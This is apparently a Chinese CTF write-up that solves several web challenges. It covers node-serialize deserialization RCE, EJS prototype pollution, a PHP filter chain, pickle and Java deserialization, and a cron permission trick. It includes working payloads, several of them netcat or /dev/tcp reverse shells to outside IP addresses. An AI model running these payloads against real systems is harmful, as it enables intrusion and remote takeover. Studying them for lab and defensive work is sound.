ezlogin
源码审计
先审源码,纯js题
js
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser())
app.set('view engine', 'ejs');
app.set('views', './views');
users={"guest":"123456"}
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}
app.get('/index',auth,function(req,res){
res.render("index");
});
app.get('/register',function(req,res){
res.render("register");
});
app.post('/register',function(req,res){
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (users[username]) {
return res.status(409).send('用户名已存在');
}
users[username] = password;
return res.status(201).send('用户注册成功');
});
app.get('/login',function(req,res){
res.render("login");
});
app.post('/login',function(req,res){
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (!(users[username])) {
return res.status(409).send('用户名不存在');
}else{
if(users[username] === password){
token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')
res.cookie('token',token, {
maxAge: 900000,
httpOnly: true
});
return res.status(200).redirect('/index');
}else{
return res.status(200).send('密码错误');
}
}
});
// 启动服务器
app.listen(80, () => {
console.log(`Server running at http://localhost:80`);
});
这段代码实现了一个基本的用户认证系统,包括用户注册、登录、和受保护的页面(/index
),所有这些功能都使用 express
和一些其他中间件来处理 HTTP 请求和 Cookie 管理。以下是详细的代码解析:
1. 引入依赖包
javascript
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
express
: 用于处理 HTTP 请求的框架。body-parser
: 用于解析 HTTP 请求体中的数据,特别是POST
请求中的form-data
数据。cookie-parser
: 用于解析 HTTP 请求中的 Cookies,以便在后续处理中访问。node-serialize
: 用于序列化和反序列化数据。此代码用它将用户信息序列化后存储在 Cookies 中。
2. 配置中间件
javascript
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser())
app.set('view engine', 'ejs');
app.set('views', './views');
app.use(bodyParser.urlencoded({ extended: true }))
: 处理表单提交的数据。extended: true
允许使用复杂的数据类型(如嵌套对象)。app.use(cookieParser())
: 用于解析请求中的 Cookies,这样可以通过req.cookies
访问到 Cookies 中存储的数据。app.set('view engine', 'ejs')
: 设置视图模板引擎为ejs
,用于渲染 HTML 模板。app.set('views', './views')
: 设置视图模板的文件目录为./views
。
3. 用户数据存储
javascript
users = {"guest": "123456"};
- 这里使用了一个简单的内存数据结构
users
来存储用户的用户名和密码。注意:这是一个简单的例子,生产环境中应该使用数据库来存储用户信息。
4. 身份验证中间件 (auth)
javascript
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}
- 这个中间件用于保护
/index
路由。它会检查请求中是否包含有效的认证令牌 (token
),并且通过序列化和反序列化获取存储在token
中的用户数据(如username
)。 - 如果
token
不存在或解析失败,或者user.username
没有被设置,就会重定向用户到/login
页面,表示用户未认证。 - 如果通过认证,调用
next()
,允许继续执行后续的路由处理。
5. 注册功能
路由: GET /register
javascript
app.get('/register', function(req, res) {
res.render("register");
});
- 当访问
/register
时,服务器会渲染register.ejs
页面,展示注册表单。
路由: POST /register
javascript
app.post('/register', function(req, res) {
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (users[username]) {
return res.status(409).send('用户名已存在');
}
users[username] = password;
return res.status(201).send('用户注册成功');
});
- 用户通过 POST 请求提交注册信息,服务器首先检查用户名和密码是否为空。如果为空,则返回 400 错误。
- 然后检查用户名是否已经存在,如果存在则返回 409 错误(表示冲突)。
- 如果用户名不存在,密码有效,则将用户名和密码存储到
users
对象中,表示注册成功。
6. 登录功能
路由: GET /login
javascript
app.get('/login', function(req, res) {
res.render("login");
});
- 当访问
/login
路由时,渲染login.ejs
页面,展示登录表单。
路由: POST /login
javascript
app.post('/login', function(req, res) {
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (!(users[username])) {
return res.status(409).send('用户名不存在');
} else {
if (users[username] === password) {
token = Buffer.from(serialize.serialize({'username': username, 'isAdmin': false})).toString('base64')
res.cookie('token', token, {
maxAge: 900000,
httpOnly: true
});
return res.status(200).redirect('/index');
} else {
return res.status(200).send('密码错误');
}
}
});
- 用户通过 POST 请求提交登录信息,服务器首先验证用户名和密码是否为空。
- 如果用户名不存在,返回 409 错误(用户名未注册)。
- 如果密码正确,生成一个基于序列化的用户信息对象(包含
username
和isAdmin
字段),并将其序列化为 base64 编码的字符串。然后,将这个字符串存储在浏览器的 Cookie 中,作为身份验证令牌(token
)。 - 设置 Cookie 的
maxAge
为 15 分钟(900000 毫秒),httpOnly
为true
,确保客户端脚本不能访问此 Cookie,提高安全性。 - 登录成功后,用户会被重定向到
/index
路由。
密码错误处理
如果密码不正确,返回 密码错误
。
7. 受保护的 /index
页面
javascript
app.get('/index', auth, function(req, res) {
res.render("index");
});
- 这个路由使用
auth
中间件进行身份验证,确保只有已经登录的用户才能访问。如果没有有效的token
,用户会被重定向到/login
页面。 - 如果通过身份验证,渲染
index.ejs
页面。
8. 启动服务器
javascript
app.listen(80, () => {
console.log(`Server running at http://localhost:80`);
});
- 启动一个 HTTP 服务器,监听 80 端口,等待请求。
写题
主要的漏洞代码是这里
js
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}
app.get('/index',auth,function(req,res){
res.render("index");
});
可以看到用了nodejs的unserialize函数,推测是CVE-2017-5941,js反序列化RCE漏洞
参考:
https://xz.aliyun.com/t/7184?time__1311=n4%2BxnD0Dy737q4Yq7KDsA3r%3Dori%3DKtrrDBQgmoD#toc-8
https://www.cnblogs.com/xishaonian/p/8145189.html
在访问index时会触发反序列化
这个环境没有bash,所以无法用bash反弹shell,这里之前卡了蛮久
然后就可以构造了Payload了
_$$ND_FUNC$$_function (){require('child_process').exec('nc ip port -e sh')}()
先注册
![[Pasted image 20241111011603.png]]
然后进行构造token
按照其他正常的token构造就行,只需要修改用户名那段,base64后放入token中
得到反弹shell
ezjs
参考博客:
https://xz.aliyun.com/t/13544?time__1311=GqmxuDciD%3DitdGNDQiiQGkQaR7GmqOqF4D
源码审计
这个题和西湖Easyjs差不多,都是原型链污染加上Ejs的模版注入
index.ejs里面没有什么特别的东西
js
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- 链接 Bootstrap CSS --><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- 动漫风格字体 -->
<link href="https://fonts.googleapis.com/css?family=M PLUS+1p&display=swap" rel="stylesheet">
<style>
body {
font-family: 'M PLUS 1p', sans-serif;
background-image: url('https://cdn.pixabay.com/photo/2018/04/22/22/57/hacker-3342696_640.jpg');
background-size: cover;
color: #ec0e0e;
}
.starter-template {
padding: 3rem 1.5rem;
text-align: center;
}
.starter-template h1 {
color: #f40b0b;
}
.card {
background-color: rgba(255, 255, 255, 0.8);
border: none;
}
.card-img-top {
border-radius: 10px;
}
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-light">
<div class="container-fluid">
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="#">首页</a>
</li>
</ul>
</div>
</div>
</nav>
<main role="main" class="container mt-5">
<div class="starter-template text-center">
<h1>Hello ctfer!</h1>
<h2>You have been hacked by me and I left a backdoor</h2>
</div>
</main>
<!-- 链接 Bootstrap JS --><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
大概看了下,好像没有可以直接用的原型链污染点?
然后就是app.js
js
const express = require('express');
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.set('env', 'development');
app.set('views', './views');
users={"guest":"123456"}
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
// 首页展示
app.get('/', (req, res) => {
res.render('index');
});
// backdoor
app.post('/UserList',(req,res) => {
user = req.body
const blacklist = ['\\u','outputFunctionName','localsName','escape']
const hacker = JSON.stringify(user)
for (const pattern of blacklist){
if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});
return
}
}
copy(users,user);
res.status(200).json(user);
});
// 启动服务器
app.listen(80, () => {
console.log(`Server running at http://localhost:80`);
});
这段代码是用 Node.js 和 Express 框架实现的一个简单的 web 服务器,功能包括展示一个首页以及提供一个"后门"接口来处理用户数据更新。下面我将逐步解释这段代码的每一部分。
1. 引入依赖和设置 Express 应用
js
const express = require('express');
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.set('env', 'development');
app.set('views', './views');
express
: 引入了express
模块,它是一个简化 web 应用开发的框架。app
: 通过express()
创建了一个 Express 应用实例。app.use(express.json())
: 这行代码使用express.json()
中间件来处理传入的 JSON 请求体。如果请求体是 JSON 格式,会自动将其解析为 JavaScript 对象,方便在路由中使用。app.set('view engine', 'ejs')
: 设置ejs
作为视图引擎。这意味着该应用使用ejs
模板渲染动态页面。app.set('env', 'development')
: 手动设置环境变量为开发环境 (development
)。实际上,Express 会自动根据NODE_ENV
环境变量来设置环境,所以这行代码并不必要,除非你特别想手动设置环境。app.set('views', './views')
: 设置视图文件所在的目录。ejs
模板文件将放在./views
目录下。
2. 用户数据对象
js
users = {"guest": "123456"}
这里定义了一个名为 users
的对象,表示一个简单的用户数据存储,初始只有一个名为 "guest"
的用户,密码为 "123456"
。
3. 复制对象的 copy
函数
js
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
这是一个递归的 copy
函数,用于将 object2
的属性复制到 object1
中。其逻辑如下:
- 遍历
object2
的每个属性。 - 如果
object1
和object2
都有该属性,则递归调用copy
函数来处理嵌套对象。 - 如果
object1
没有该属性,或者是基本数据类型(如字符串、数字等),则直接将object2
中的值赋给object1
。
这种方法有效地将 object2
的所有内容复制到 object1
中,但它没有检查或避免覆盖已有数据。
4. 首页路由 (/
)
js
app.get('/', (req, res) => {
res.render('index');
});
这是一个 GET 路由,当用户访问首页时,会渲染 index
视图(views/index.ejs
)。这个视图文件应包含 HTML 内容,用于展示首页内容。
5. 后门接口 (/UserList
)
js
app.post('/UserList', (req, res) => {
user = req.body;
const blacklist = ['\\u','outputFunctionName','localsName','escape'];
const hacker = JSON.stringify(user);
for (const pattern of blacklist) {
if (hacker.includes(pattern)) {
res.status(200).json({"message": "hacker!"});
return;
}
}
copy(users, user);
res.status(200).json(user);
});
这是一个 POST 路由 /UserList
,可以接受客户端发送的用户数据并进行处理。具体步骤如下:
-
req.body
: 获取客户端发送的请求体(JSON 格式),这个请求体应该是一个包含用户数据的对象。 -
blacklist
: 这里定义了一个黑名单数组,其中包含一些字符串(如'\\u'
,'outputFunctionName'
等),这些字符串似乎是用来防止某些恶意攻击(例如脚本注入等)。 -
hacker
: 将用户数据(req.body
)转换成 JSON 字符串,以便检查是否包含黑名单中的恶意字符串。 -
遍历
blacklist
,检查用户数据中是否包含任何黑名单字符串。如果包含,则认为是恶意请求,返回{"message": "hacker!"}
,并终止处理。 -
如果没有检测到黑名单字符串,则调用
copy(users, user)
将user
对象的数据复制到users
对象中。这意味着服务器将更新存储的用户数据。 -
最后,返回更新后的用户数据(
user
)作为响应。
主要漏洞代码在
js
app.post('/UserList',(req,res) => {
user = req.body
const blacklist = ['\\u','outputFunctionName','localsName','escape']
const hacker = JSON.stringify(user)
for (const pattern of blacklist){
if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});
return
}
}
copy(users,user);
res.status(200).json(user);
});
JSON.stringify就是要利用的原生类污染的地方
这段代码里可以很明显的看到index.ejs是直接被解析的,但是没有返回的点就只能弹shell了
json
{
"__proto__":{
"destructuredLocals":[
"a=a;global.process.mainModule.require('child_process').execSync('nc 120.76.143.184 6666 -e /bin/sh');//var __tmp2"
]
}
}
得到flag
千年嘤
过滤器感觉有点伤,将工具跑的第一个过滤器去掉,然后用base64和<结合去掉杂乱字符。
poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');
新闻系统
先jwt构造进入admin
然后pickle反序列化,好像要延时啥的,我内存马直接通了
python
import pickle
import base64
class A():
def __reduce__(self):
return (exec, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
pickle.loads(b)
小蓝鲨的临时储存室
蚁剑连接,根目录的那个.sh文件可以发现有文件读取权限,并且是定时的,尝试给自己提权,好像不太行。。直接给flag 777 权限通了,搞不懂为啥
shell
echo '#!/bin/bash' > down_file.sh
echo 'chmod 777 /flag' >> down_file.sh
然后等待几分钟,cat /flag就行
蓝鲨的java入门课堂
urldns链的变形
tip:一定要用base64的payload。。。卡这个卡了好久
利用点,Evil.java
java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package cat.uwu.begin_java;
import java.io.IOException;
import java.io.Serializable;
public class Evil implements Serializable {
private String cmd;
private Evil(String cmd) {
this.cmd = cmd;
}
public int hashCode() {
String result;
try {
result = Runtime.getRuntime().exec(this.cmd).toString();
} catch (IOException var3) {
throw new RuntimeException(var3);
}
return result.hashCode();
}
}
payload:
java
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.portable.InvokeHandler;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class url {
public static void main(String[] args) throws Exception {
String cmd= "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxNy4xMTguMTk4Lzc4OTcgMD4mMQ==}|{base64,-d}|{bash,-i}";
Class<?> clazz = Class.forName("cat.uwu.begin_java.Evil");
Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);
constructor.setAccessible(true); // 允许访问私有构造函数
Object url = constructor.newInstance("ipconfig");
HashMap hashMap = new HashMap();
Class urlClass = url.getClass(); // 注意:是url对象,不是hashMap对象
Field field = clazz.getDeclaredField("cmd");
field.setAccessible(true);
hashMap.put(url,'1');
field.set(url,cmd);
// SerAndUnser.serialize(hashMap);
byte[] bytes = serialize(hashMap);
writeToFile(bytes,"1.bin");
System.out.println(Base64.getEncoder().encodeToString(bytes));
